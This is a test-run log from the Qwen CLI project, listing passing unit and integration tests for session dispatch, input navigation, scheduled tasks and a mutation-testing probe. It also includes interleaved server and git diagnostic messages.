✓ InputPrompt > two-step edge transition for history navigation > Ctrl+P with cursor mid-line snaps to col 0 without touching history 610ms
✓ InputPrompt > two-step edge transition for history navigation > Ctrl+N with cursor not at end-of-line snaps to end without touching history 1135ms
✓ InputPrompt > two-step edge transition for history navigation > Ctrl+P at col 0 walks history and parks the cursor at offset 0 629ms
✓ InputPrompt > two-step edge transition for history navigation > Ctrl+P/N and arrows do not change input history while a tool confirmation owns navigation 1044ms
✓ InputPrompt > two-step edge transition for history navigation > Ctrl+N falls through to the agent tab bar when there is no newer history 614ms
✓ InputPrompt > two-step edge transition for history navigation > arrow Down applies the same snap-before-history rule as Ctrl+N 608ms
✓ InputPrompt > two-step edge transition for history navigation > arrow Down at end-of-line walks history 589ms
✓ InputPrompt > two-step edge transition for history navigation > arrow Down falls through to the agent tab bar when there is no newer history 631ms
✓ InputPrompt > two-step edge transition for history navigation > arrow Down jumps straight to the live agent panel when a bg sub-agent is running (#4907) 585ms
✓ InputPrompt > two-step edge transition for history navigation > arrow Down still falls through to the tab bar when the only bg entry is a non-agent (shell) task 615ms
✓ InputPrompt > two-step edge transition for history navigation > arrow Down skips terminal bg agents after the live panel visibility window (#5067) 586ms
✓ InputPrompt > two-step edge transition for history navigation > arrow Down focuses the background-tasks pill when only the pill is shown (workflow-only session) 623ms
✓ InputPrompt > two-step edge transition for history navigation > Down at the bottom of the live agent panel descends to the agent tab bar 589ms
✓ InputPrompt > two-step edge transition for history navigation > Down at the bottom of the live agent panel returns to the composer when no tab bar exists 693ms
✓ InputPrompt > two-step edge transition for history navigation > Down from an expired live panel falls through to the tab bar 715ms
✓ InputPrompt > two-step edge transition for history navigation > Enter on the live panel maps the DISPLAYED row back to its bg entry index 590ms
✓ InputPrompt > two-step edge transition for history navigation > arrow Up applies the same two-step rule as Ctrl+P (snap before navigate) 601ms
✓ InputPrompt > two-step edge transition for history navigation > suppresses completion menu navigation for history-restored text until edited 1132ms
✓ src/config/settings.test.ts (155 tests) 6275ms
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440130"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440130"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=2 requestedIds=["550e8400-e29b-41d4-a716-446655440140","550e8400-e29b-41d4-a716-446655440141"] archived=2 archivedIds=["550e8400-e29b-41d4-a716-446655440140","550e8400-e29b-41d4-a716-446655440141"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: session-org: Failed to read session organization store at /tmp/qwen-multi-workspace-sessions-e8QV57/projects/-work-secondary/session-organization.v1.json: Expected property name or '}' in JSON at position 1 (line 1 column 2)
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440283"] archived=0 archivedIds=[] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440283":"Session \"550e8400-e29b-41d4-a716-446655440283\" is being archived or unarchived;]
qwen serve: deleteSession failed for "550e8400-e29b-41d4-a716-446655440283": "Session \"550e8400-e29b-41d4-a716-446655440283\" is being archived or unarchived;
qwen serve: sessions unarchive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440289"] unarchived=0 unarchivedIds=[] alreadyActive=0 alreadyActiveIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["550e8400-e29b-41d4-a716-446655440289":"Session \"550e8400-e29b-41d4-a716-446655440289\" is being archived or unarchived;]
qwen serve: deleteSession failed for "550e8400-e29b-41d4-a716-446655440289": "Session \"550e8400-e29b-41d4-a716-446655440289\" is being archived or unarchived;
qwen serve: sessions unarchive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440290"] unarchived=1 unarchivedIds=["550e8400-e29b-41d4-a716-446655440290"] alreadyActive=0 alreadyActiveIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440164"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440164"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: session-org: Failed to read session organization store at /tmp/qwen-multi-workspace-sessions-gnybnE/projects/-work-secondary/session-organization.v1.json: Expected property name or '}' in JSON at position 1 (line 1 column 2)
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440120"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440120"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions unarchive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440120"] unarchived=1 unarchivedIds=["550e8400-e29b-41d4-a716-446655440120"] alreadyActive=0 alreadyActiveIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440122"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440122"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions unarchive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440122"] unarchived=1 unarchivedIds=["550e8400-e29b-41d4-a716-446655440122"] alreadyActive=0 alreadyActiveIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["550e8400-e29b-41d4-a716-446655440123"] archived=1 archivedIds=["550e8400-e29b-41d4-a716-446655440123"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
✓ src/serve/multi-workspace-sessions.test.ts (93 tests) 61352ms
✓ multi-workspace session dispatch > advertises workspaces and multi_workspace_sessions only when multiple runtimes are registered 2274ms
✓ multi-workspace session dispatch > advertises multi-workspace shell only when effective session shell is enabled 553ms
✓ multi-workspace session dispatch > aggregates daemon status session count and exposes workspace metadata 430ms
✓ multi-workspace session dispatch > rolls up secondary runtime channel issues in daemon status 321ms
✓ multi-workspace session dispatch > creates a session on the runtime matching the explicit cwd 695ms
✓ multi-workspace session dispatch > rejects unknown and untrusted workspace session creation before touching a bridge 458ms
✓ multi-workspace session dispatch > dispatches live session routes by owner runtime 1848ms
✓ multi-workspace session dispatch > routes secondary rewind snapshots, rewind, and shell only to the owner bridge 534ms
✓ multi-workspace session dispatch > preserves rewindFiles defaults and rejects non-boolean values 521ms
✓ multi-workspace session dispatch > fails closed for unknown, untrusted, and ambiguous rewind owners 434ms
✓ multi-workspace session dispatch > preserves strict shell validation order for a secondary owner 408ms
✓ multi-workspace session dispatch > keeps rewind and shell behavior in a single-workspace daemon 457ms
✓ multi-workspace session dispatch > preserves rewind busy, invalid-target, and partial-restore contracts 1713ms
✓ multi-workspace session dispatch > dispatches secondary events, permissions, pending prompts, and close 776ms
✓ multi-workspace session dispatch > dispatches trusted non-primary persisted load and resume 462ms
✓ multi-workspace session dispatch > rejects unknown and untrusted restore cwd before touching a bridge 442ms
✓ multi-workspace session dispatch > routes owner-local actions to the owning non-primary workspace bridge 505ms
✓ multi-workspace session dispatch > routes continue, language, and artifact mutations to the owning non-primary bridge 344ms
✓ multi-workspace session dispatch > rejects remaining mutations for an untrusted non-primary owner 836ms
✓ multi-workspace session dispatch > fails closed for missing and ambiguous remaining mutation owners 534ms
✓ multi-workspace session dispatch > preserves primary routing for remaining mutations 349ms
✓ multi-workspace session dispatch > preserves primary routing for owner-local actions 332ms
✓ multi-workspace session dispatch > rejects all owner-local actions for an untrusted non-primary owner 314ms
✓ multi-workspace session dispatch > lists active persisted and live non-primary workspace sessions by workspace id 585ms
✓ multi-workspace session dispatch > lists archived non-primary workspace sessions for trusted workspaces 576ms
✓ multi-workspace session dispatch > lists organized non-primary workspace sessions with pinned first for trusted workspaces 396ms
✓ multi-workspace session dispatch > lists organized archived non-primary sessions pinned first without merging live sessions 428ms
✓ multi-workspace session dispatch > paginates organized non-primary sessions across an opaque cursor round-trip 324ms
✓ multi-workspace session dispatch > lists archived and organized persisted sessions for an untrusted secondary without live merge 887ms
✓ multi-workspace session dispatch > returns workspace_mismatch for unknown absolute workspace catalogs 723ms
✓ multi-workspace session dispatch > lists active persisted non-primary sessions by encoded workspace cwd 301ms
✓ multi-workspace session dispatch > pages active persisted non-primary workspace sessions with numeric cursors 391ms
✓ multi-workspace session dispatch > lists only persisted sessions for an untrusted secondary by id and encoded cwd without writing storage 336ms
✓ multi-workspace session dispatch > chains untrusted transcript pages without bridge or cursor-key writes 1193ms
✓ multi-workspace session dispatch > rejects an oversized untrusted transcript record without starting the bridge 6191ms
✓ multi-workspace session dispatch > serves an indivisible record that exceeds the reader page budget 1847ms
✓ multi-workspace session dispatch > stops pagination when replay state would produce an oversized cursor 1975ms
✓ multi-workspace session dispatch > fails closed for mismatched persisted transcript records 610ms
✓ multi-workspace session dispatch > keeps archived and untrusted-primary transcript boundaries 323ms
✓ multi-workspace session dispatch > serves trusted runtimes and rejects missing or unknown transcript targets 472ms
✓ multi-workspace session dispatch > returns empty untrusted catalogs without creating storage 984ms
✓ multi-workspace session dispatch > does not repair malformed untrusted catalog storage 771ms
✓ multi-workspace session dispatch > paginates persisted child sessions for an untrusted secondary without live merge 410ms
✓ multi-workspace session dispatch > exports the selected trusted workspace without falling back or starting ACP 703ms
✓ multi-workspace session dispatch > exports secondary sessions as jsonl through an encoded cwd selector 307ms
✓ multi-workspace session dispatch > enforces workspace, trust, format, and active-session export boundaries 640ms
✓ multi-workspace session dispatch > reports archive and delete conflicts while a workspace export is in flight 420ms
✓ multi-workspace session dispatch > exports only the selected workspace archived transcript in every format 1628ms
✓ multi-workspace session dispatch > enforces archived export state, selector, trust, and format boundaries 899ms
✓ multi-workspace session dispatch > rejects archived exports above the persisted source size limit 6273ms
✓ multi-workspace session dispatch > reports unarchive and delete conflicts while archived export is in flight 470ms
✓ multi-workspace session dispatch > returns session_archiving while unarchive holds the exclusive lease 315ms
✓ multi-workspace session dispatch > lists session groups for an untrusted secondary while mutations stay blocked 727ms
✓ multi-workspace session dispatch > rejects untrusted primary workspace on plural session routes 950ms
✓ multi-workspace session dispatch > updates a persisted secondary session by encoded cwd without touching the primary sidecar 1503ms
✓ multi-workspace session dispatch > updates a live-only secondary session organization through the target bridge fallback 651ms
✓ multi-workspace session dispatch > updates an archived secondary session without changing its archive state 968ms
✓ multi-workspace session dispatch > does not fall back across workspaces for organization updates 738ms
✓ multi-workspace session dispatch > keeps organization validation and store errors scoped to the selected workspace 492ms
✓ multi-workspace session dispatch > routes plural batch archive, unarchive, and delete to the selected workspace 634ms
✓ multi-workspace session dispatch > archives and unarchives only the selected workspace when session ids collide 408ms
✓ multi-workspace session dispatch > routes plural session group CRUD to the selected workspace 378ms
✓ multi-workspace session dispatch > keeps live cursor pagination stable when persisted sessions appear mid-page 642ms
✓ src/config/config.test.ts (322 tests) 39360ms
✓ parseArguments > should throw an error when both --prompt and --prompt-interactive are used together 1208ms
✓ parseArguments > should throw an error when using short flags -p and -i together 428ms
✓ parseArguments > rejects --json-schema combined with --acp 832ms
✓ parseArguments > rejects --json-schema combined with --experimental-acp (deprecated alias) 453ms
✓ parseArguments > rejects --json-schema combined with --prompt-interactive (-i) 410ms
✓ parseArguments > should map any @command to prompt (one-shot) 411ms
✓ loadCliConfig > should reset context file names to QWEN.md and AGENTS.md by default 907ms
✓ loadCliConfig > usage statistics > lets false override an enabled setting 382ms
✓ loadCliConfig > usage statistics > lets 0 override an enabled setting 373ms
✓ Approval mode tool exclusion logic > should exclude no interactive tools in non-interactive mode with yolo approval mode 398ms
✓ Approval mode tool exclusion logic > should not exclude interactive tools in interactive mode regardless of approval mode 670ms
✓ loadCliConfig skills.disabledLevels > ignores skills.disabledLevels in safe mode 675ms
✓ src/commands/review/compose-review.test.ts (151 tests) 5869ms
✓ composeReview — the C/S table > C=0, S=0 → APPROVE with the LGTM body 712ms
✓ src/commands/channel/daemon-worker.test.ts (77 tests) 7833ms
✓ runChannelDaemonWorker > reports at most 64 failures and acknowledges one truncation marker 754ms
✓ daemonWorkerCommand > sends ready from the command handler and exits cleanly on SIGTERM 395ms
✓ daemonWorkerCommand > waits for the supervisor ACK instead of the process.send callback 380ms
✓ src/serve/channel-worker-supervisor.test.ts (83 tests) 4861ms
✓ createChannelWorkerSupervisor > accepts loop MCP registration before the worker ready signal 452ms
✓ createChannelWorkerSupervisor > restarts when heartbeat becomes stale after ready 412ms
✓ src/ui/hooks/slashCommandProcessor.test.ts (89 tests) 18766ms
✓ useSlashCommandProcessor > Initialization and Command Loading > should initialize CommandService with all required loaders 1087ms
✓ useSlashCommandProcessor > Initialization and Command Loading > rebuilds commands when an MCP server connects (surfaces MCP prompts in /) 631ms
✓ useSlashCommandProcessor > Initialization and Command Loading > ignores non-connected MCP status changes (no rebuild) 557ms
✓ useSlashCommandProcessor > Command Execution Logic > should display help for a parent command invoked without a subcommand 654ms
✓ useSlashCommandProcessor > Shell Command Confirmation Flow > should not duplicate user history when a confirmed action submits a prompt 343ms
✓ useSlashCommandProcessor > Lifecycle > auto-refreshes extension content changes after debounce 380ms
✓ useSlashCommandProcessor > Lifecycle > shows an error when extension content auto-refresh fails 374ms
✓ useSlashCommandProcessor > Lifecycle > skips content auto-refresh while package reload is needed 459ms
✓ useSlashCommandProcessor > Lifecycle > cancels pending content auto-refresh when manual reload starts 470ms
✓ src/ui/components/shared/text-buffer.test.ts (159 tests) 5977ms
✓ useTextBuffer > Initialization > should initialize with empty text and cursor at (0,0) by default 536ms
✓ src/commands/review/agent-prompt.test.ts (150 tests) 3110ms
✓ src/serve/workspace-service/__tests__/facade.test.ts (97 tests) 4463ms
✓ createDaemonWorkspaceService > workspace voice > persists voice settings through batch persistence and publishes events 367ms
✓ createDaemonWorkspaceService > status methods > getWorkspaceTrustStatus reads current settings and trusted folders 366ms
]0;Qwen - cli ]0;🔵 Qwen - cli \]2;Qwen - cli ]0;Qwen - cli ]0;🔵 Qwen - cli \]2;Qwen - cli ]0;Qwen - cli ]0;🔵 Qwen - cli \]2;Qwen - cli ]0;Qwen - cli ]0;🔵 Qwen - cli \]2;Qwen - cli ]0;Qwen - cli ]0;🔵 Qwen - cli \]2;Qwen - cli ]0;Qwen - cli ]0;🔵 Qwen - cli \]2;Qwen - cli ]0;Qwen - cli ]0;🔵 Qwen - cli \]2;Qwen - cli ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ]0;Qwen - root ]0;🔵 Qwen - root \]2;Qwen - root ✓ src/gemini.test.tsx (58 tests) 13652ms
✓ gemini.tsx main function > verifies that we dont load the config before relaunchAppInChildProcess 1381ms
✓ gemini.tsx main function > handles --list-extensions before sandbox and app config startup 992ms
✓ gemini.tsx main function > should skip full settings discovery in bare mode 832ms
✓ gemini.tsx main function > passes the outer session ID into the sandbox child process 555ms
✓ gemini.tsx main function > starts a fresh CLI after the host update completes 557ms
✓ gemini.tsx main function > passes host update capability into a container sandbox 531ms
✓ gemini.tsx main function > does not pass an empty session ID into the sandbox child process 530ms
✓ gemini.tsx main function > does not inject sandbox session ID when argv contains --continue 527ms
✓ gemini.tsx main function > does not inject sandbox session ID when argv contains -c 530ms
✓ gemini.tsx main function > does not inject sandbox session ID when argv contains --resume 538ms
✓ gemini.tsx main function > does not inject sandbox session ID when argv contains -r 528ms
✓ gemini.tsx main function > does not inject sandbox session ID when argv contains --session-id 523ms
✓ gemini.tsx main function > inserts the sandbox session ID before the argument separator 533ms
✓ gemini.tsx main function > should log unhandled promise rejections and open debug console on first error 315ms
✓ gemini.tsx main function > invokes runNonInteractiveStreamJson and performs cleanup in stream-json mode 1768ms
✓ gemini.tsx main function kitty protocol > should call setRawMode and detectAndEnableKittyProtocol when isInteractive is true 504ms
✓ gemini.tsx main function kitty protocol > should await IDE connection when interactive mode has an initial prompt 423ms
✓ src/serve/fs/workspace-file-system.test.ts (118 tests) 11687ms
✓ WorkspaceFileSystem - resolve and stat > resolves an existing path and emits no audit on resolve alone 622ms
✓ WorkspaceFileSystem - readText > refuses a line offset beyond MAX_TEXT_SCAN_BYTES 889ms
✓ WorkspaceFileSystem - readText > pages a large log by cursor and reassembles it exactly 532ms
✓ WorkspaceFileSystem - readText > byte-truncates an oversized multibyte line without replacement characters 1612ms
✓ WorkspaceFileSystem - glob > matches files by pattern 843ms
✓ src/serve/routes/workspace-management.test.ts (111 tests) 13455ms
✓ POST /workspaces > allows scratch creation but protects existing paths in loopback development 1296ms
✓ POST /workspaces > creates a trusted ephemeral runtime with managed provenance 467ms
✓ POST /workspaces > re-registers a scratch child as existing without restoring managed trust 418ms
✓ GET /workspace-path-suggestions > filters by the case-insensitive final segment of the prefix 406ms
✓ GET /workspace-path-suggestions > hides dot-directories unless the filter starts with a dot 552ms
✓ GET /workspace-path-suggestions > rejects an over-long prefix before touching the filesystem 368ms
✓ src/ui/contexts/KeypressContext.test.tsx (118 tests) 8662ms
✓ KeypressContext - Kitty Protocol > Enter key handling > preserves typed µ as printable text 794ms
✓ KeypressContext - Kitty Protocol > Enter key handling > auto-recovers from a stuck paste mode via idle timeout 1306ms
✓ KeypressContext - Kitty Protocol > Enter key handling > does not drop paste content that ends with a partial paste-end marker on idle flush 1250ms
✓ src/ui/commands/modelCommand.test.ts (80 tests) 2263ms
✓ src/ui/hooks/vim.test.ts (132 tests) 14382ms
✓ useVim hook > Mode switching > should start in NORMAL mode 480ms
✓ src/serve/auth/device-flow.test.ts (47 tests) 864ms
✓ src/commands/review/test-efficacy.test.ts (128 tests) 1878ms
✓ runnerFailureReason > calls a suite killed at the deadline one that did not survive 334ms
✓ src/commands/review/check-coverage.test.ts (66 tests) 2906ms
Wrote test-efficacy report to /tmp/efficacy-iso-MOrsOA/out.json (0 unreachable, 1 probed, 0 mutant(s), 1 hunk probe(s), 2 finding(s))
[test] inert: packages/lib/src/f.test.ts
[test] hunk-survived: packages/lib/src/f.ts
fatal: '/tmp/efficacy-iso-MOrsOA/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-esQsOZ/out.json (0 unreachable, 1 probed, 0 mutant(s), 1 hunk probe(s), 2 finding(s))
[test] inert: packages/lib/src/f.test.ts
[test] hunk-survived: packages/lib/src/f.ts
fatal: '/tmp/efficacy-iso-esQsOZ/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-ZMvNqL/out.json (0 unreachable, 1 probed, 0 mutant(s), 2 hunk probe(s), 3 finding(s))
[test] inert: packages/lib/src/f.test.ts
[test] hunk-survived: packages/lib/src/f.ts
[test] hunk-survived: packages/lib/src/f.ts
fatal: '/tmp/efficacy-iso-ZMvNqL/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-W4it64/out.json (0 unreachable, 2 probed, 0 mutant(s), 1 hunk probe(s), 1 finding(s))
[test] inert: packages/lib/src/other.test.ts
fatal: '/tmp/efficacy-iso-W4it64/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-WZv3eY/out.json (0 unreachable, 1 probed, 1 mutant(s), 0 hunk probe(s), 2 finding(s))
[test] inert: packages/lib/src/f.test.ts
[test] mutant-survived: packages/lib/src/f.ts
fatal: '/tmp/efficacy-iso-WZv3eY/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-4DtLj0/out.json (0 unreachable, 1 probed, 1 mutant(s), 0 hunk probe(s), 2 finding(s))
[test] inert: packages/lib/src/f.test.ts
[test] mutant-survived: packages/lib/src/f.ts
fatal: '/tmp/efficacy-iso-4DtLj0/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-Vdgsiq/out.json (0 unreachable, 1 probed, 1 mutant(s), 0 hunk probe(s), 0 finding(s))
fatal: '/tmp/efficacy-iso-Vdgsiq/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-bzqUgR/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-E2dEd2/out.json (0 unreachable, 2 probed, 1 mutant(s), 0 hunk probe(s), 2 finding(s))
[test] inert: packages/lib/src/f.test.ts
[test] mutant-survived: packages/lib/src/f.ts
fatal: '/tmp/efficacy-iso-E2dEd2/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-vpSFxF/out.json (0 unreachable, 1 probed, 0 mutant(s), 0 hunk probe(s), 0 finding(s))
positive control FAILED (the injected always-failing test did not turn the run red — a dead runner, a collector that skipped it, or a reporter that dropped the failure): nothing here can kill, every would-be survivor is reported inconclusive, and the remaining mutant/hunk window was not spent
fatal: '/tmp/efficacy-iso-vpSFxF/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-0UDx9O/out.json (0 unreachable, 2 probed, 2 mutant(s), 0 hunk probe(s), 2 finding(s))
[test] inert: packages/lib/src/g.test.ts
[test] mutant-survived: packages/lib/src/g.ts
fatal: '/tmp/efficacy-iso-0UDx9O/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-JWI7dp/out.json (0 unreachable, 1 probed, 1 mutant(s), 0 hunk probe(s), 2 finding(s))
[test] inert: packages/lib/src/f.test.ts
[test] mutant-survived: packages/lib/src/f.ts
the positive control could not be set up (packages/lib/src/f.test.ts could not be read in the probe tree), so the harness was NOT validated this run — read every survivor below as unconfirmed by a control
fatal: '/tmp/efficacy-iso-JWI7dp/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-RfQkea/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-UyVjce/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-qDbpxh/out.json (0 unreachable, 1 probed, 2 mutant(s), 0 hunk probe(s), 1 finding(s))
[test] inert: packages/lib/src/f.test.ts
fatal: '/tmp/efficacy-iso-qDbpxh/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-xFpfLg/out.json (0 unreachable, 1 probed, 1 mutant(s), 0 hunk probe(s), 2 finding(s))
[test] inert: packages/lib/src/f.test.ts
[test] mutant-survived: packages/lib/src/fø.ts
fatal: '/tmp/efficacy-iso-xFpfLg/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-bz8Ptn/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-Y1ZSpY/out.json (0 unreachable, 1 probed, 0 mutant(s), 0 hunk probe(s), 1 finding(s))
[test] inert: packages/lib/src/f.test.ts
mutant selection failed: git -c core.quotePath=false diff --unified=0 --no-color --src-prefix=a/ --dst-prefix=b/ --no-ext-diff --no-textconv no-such-base-rev 740dcf0d3919931ef5855aaf9ba70d9ad58c7c56 -- packages/lib/src/f.ts failed: fatal: bad revision 'no-such-base-rev'
— no mutants were run
fatal: '/tmp/efficacy-iso-Y1ZSpY/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-rlH7Yr/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-4DpgFP/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-lBNPYE/out.json (0 unreachable, 1 probed, 0 mutant(s), 1 hunk probe(s), 2 finding(s))
[test] inert: packages/lib/src/f.test.ts
[test] hunk-survived: packages/lib/src/f.ts
fatal: '/tmp/efficacy-iso-lBNPYE/wt-probe' is not a working tree
Wrote test-efficacy report to /tmp/efficacy-iso-7XP9qf/out.json (0 unreachable, 1 probed, 0 mutant(s), 1 hunk probe(s), 2 finding(s))
[test] inert: packages/lib/src/f.test.ts
[test] hunk-survived: packages/lib/src/f.ts
fatal: '/tmp/efficacy-iso-7XP9qf/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-AfHnBR/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-4fXuQn/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-GfNwFg/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-CHIJOC/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-GVwQ5s/wt-probe' is not a working tree
fatal: '/tmp/efficacy-iso-0DPqEh/wt-probe' is not a working tree
✓ src/commands/review/test-efficacy.integration.test.ts (28 tests) 143087ms
✓ test-efficacy probe isolation (#6832) > probes in a disposable worktree and never mutates the shared one 6950ms
✓ test-efficacy probe isolation (#6832) > a PR-controlled symlink cannot delete outside the tree — by isolation, not the guard 7181ms
✓ test-efficacy probe isolation (#6832) > probes hunks end-to-end on a diff with NO mutant candidates 7977ms
✓ test-efficacy probe isolation (#6832) > scores a hunk inconclusive when its OWN collocated test dropped out of the baseline 5400ms
✓ test-efficacy probe isolation (#6832) > runs a REPLACEMENT mutant end-to-end and reports the survivor 6736ms
✓ test-efficacy probe isolation (#6832) > runs a deletion mutant end-to-end and reports the survivor 6797ms
✓ test-efficacy probe isolation (#6832) > kills a mutant the suite catches — the A/B control for the survivor test 6889ms
✓ test-efficacy probe isolation (#6832) > skips the mutants wholesale when the unmutated baseline is not green 4213ms
✓ test-efficacy probe isolation (#6832) > still probes when an UNRELATED probe file is all-skipped (per-file gate) 6920ms
✓ test-efficacy probe isolation (#6832) > re-classes every survivor and spends nothing when the positive control fails 5158ms
✓ test-efficacy probe isolation (#6832) > holds a mutant at inconclusive when its OWN test was red in the baseline 7121ms
✓ test-efficacy probe isolation (#6832) > a control that could not be SET UP leaves the window spendable 5315ms
✓ test-efficacy probe isolation (#6832) > reports mutants skipped for budget when time runs out mid-loop 6650ms
✓ test-efficacy probe isolation (#6832) > reports mutants skipped for cap when candidates exceed MAX_MUTANTS 13936ms
✓ test-efficacy probe isolation (#6832) > marks every candidate inconclusive when the runner dies mid-mutation, and still runs the revert probe 5567ms
✓ test-efficacy probe isolation (#6832) > still finds the survivor under hostile user git diff config 6433ms
✓ test-efficacy probe isolation (#6832) > discloses the dropped candidates when a file derails the literal scan 6407ms
✓ test-efficacy probe isolation (#6832) > discloses a selection failure and still runs the revert probe 2769ms
✓ test-efficacy probe isolation (#6832) > runs tests with dependencies from the source worktree 1592ms
✓ test-efficacy probe isolation (#6832) > sweeps a stale REGISTERED probe worktree left by a crashed run 6397ms
✓ test-efficacy probe isolation (#6832) > clears an UNREGISTERED non-empty leftover so the probe is not wedged 6343ms
✓ per-hunk probes against real git > produces two patches git accepts, one per change 1190ms
✓ per-hunk probes against real git > reverting ONE hunk restores only that change 2204ms
✓ per-hunk probes against real git > restores a hunk-ADDED file whose parent directory the reverse apply removed 2484ms
✓ per-hunk probes against real git > restores the file after the run, verdict notwithstanding 2195ms
✓ per-hunk probes against real git > is inconclusive and leaves the tree ALONE when the patch will not apply 995ms
✓ per-hunk probes against real git > is inconclusive when the probe tree does not hold the file at all 934ms
✓ src/ui/hooks/atCommandProcessor.test.ts (71 tests) 4430ms
✓ handleAtCommand > should process a valid text file path 307ms
qwen serve: POST /scheduled-tasks failed to create the task's session: spawn failed
qwen serve: POST /scheduled-tasks failed: Malformed JSON in /tmp/sched-route-SCVfR9/tmp/5c34b1fec11b8326a2fc593fd00bf4e25df003f757566039467f85daed601d5c/scheduled_tasks.json — fix or delete the file; refusing to treat it as an empty schedule.
qwen serve: GET /scheduled-tasks failed: Malformed JSON in /tmp/sched-route-7VuviS/tmp/ee024fbfc18a5312e36d9c721c177b4dc2cfc70f510a62101417201bcaf8fbcd/scheduled_tasks.json — fix or delete the file; refusing to treat it as an empty schedule.
qwen serve: GET /scheduled-tasks failed: Invalid task entry at index 0 in /tmp/sched-route-Gs4UGT/tmp/619afda6ad388ea17896a337a08dc0f08792e356ff5439012121ce69e06d756e/scheduled_tasks.json — fix or delete the entry; refusing to drop it from the schedule.
✓ src/serve/routes/scheduled-tasks.test.ts (81 tests) 26565ms
✓ scheduled-tasks routes > rejects primary scheduled-task writes after trust is revoked 1285ms
✓ scheduled-tasks routes > returns 503 and removes the new session when generation closes after spawn 321ms
✓ scheduled-tasks routes > rolls back the task and session when generation closes after commit 315ms
✓ scheduled-tasks routes > creates a task (normalized view) and lists it 955ms
✓ scheduled-tasks routes > rejects a syntactically-valid but impossible cron (Feb 30) 6977ms
✓ scheduled-tasks routes > removes a ONE-SHOT task on manual run (so the scheduler cannot fire it again) 1049ms
✓ scheduled-tasks routes > rejects a create past the max-tasks cap without spawning a session 3790ms
✓ scheduled-tasks routes > re-enabling a one-shot task re-seats its anchor (not fired as missed + deleted) 1107ms
✓ scheduled-tasks routes > re-seats a schedule edit made while DISABLED (so a later re-enable is not a missed fire) 575ms
✓ scheduled-tasks routes > editing an ENABLED one-shot cron re-seats createdAt (fires next, not as missed) 1652ms
qwen serve: fast-path bootstrap failed, falling back to full startup: Failed to read serve fast path settings from /tmp/qws-fast-path-home-Prym3N/settings.json: Expected property name or '}' in JSON at position 1 (line 1 column 2)
qwen serve: fast-path bootstrap failed, falling back to full startup: Serve fast path settings advanced.excludedEnvVars must be a string array.
